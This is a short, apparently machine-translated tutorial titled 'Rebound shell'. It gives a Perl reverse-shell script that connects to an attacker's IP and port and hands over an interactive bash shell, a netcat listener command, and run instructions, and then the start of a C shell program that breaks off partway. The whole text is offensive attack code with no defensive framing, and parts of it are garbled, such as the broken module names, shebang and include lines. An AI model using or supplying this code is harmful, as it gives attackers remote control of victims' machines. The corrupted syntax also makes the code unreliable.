Rebound shell
#!/ usr/bin/perl -w
#
use strict;
use Socket;
use I:Handle;
if($#ARGV+1 != 2){
print "$#ARGV $0 Remote_IP Remote_Port \n";
exit 1;
}
my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];
my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));
my $shell = '/bin/bash -i';
socket(SOCK, AF_INET, SOCK_STREAM, $proto);
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die "can not connect:$! ";
open STDIN, "&SOCK";
open STDERR, ">&SOCK";
print "Enjoy the shell.\ n";
system($shell);
close SOCK;
exit 0;
natively execute netcat. command
nc -l -p 8080 -vv
Remote:
./ tcp.pl yourip 8080
Perl and bash path to modify their own, but generally do not modify.
File changed to 755 and run again. Otherwise, it won't work.
#include
#include
#include
#include
#include
#include
#include
void usage();
char shell[]="/bin/sh";
char message[]="s8s8 welcome\n";
int sock;
int main(int argc, char *argv[]) {
if(argc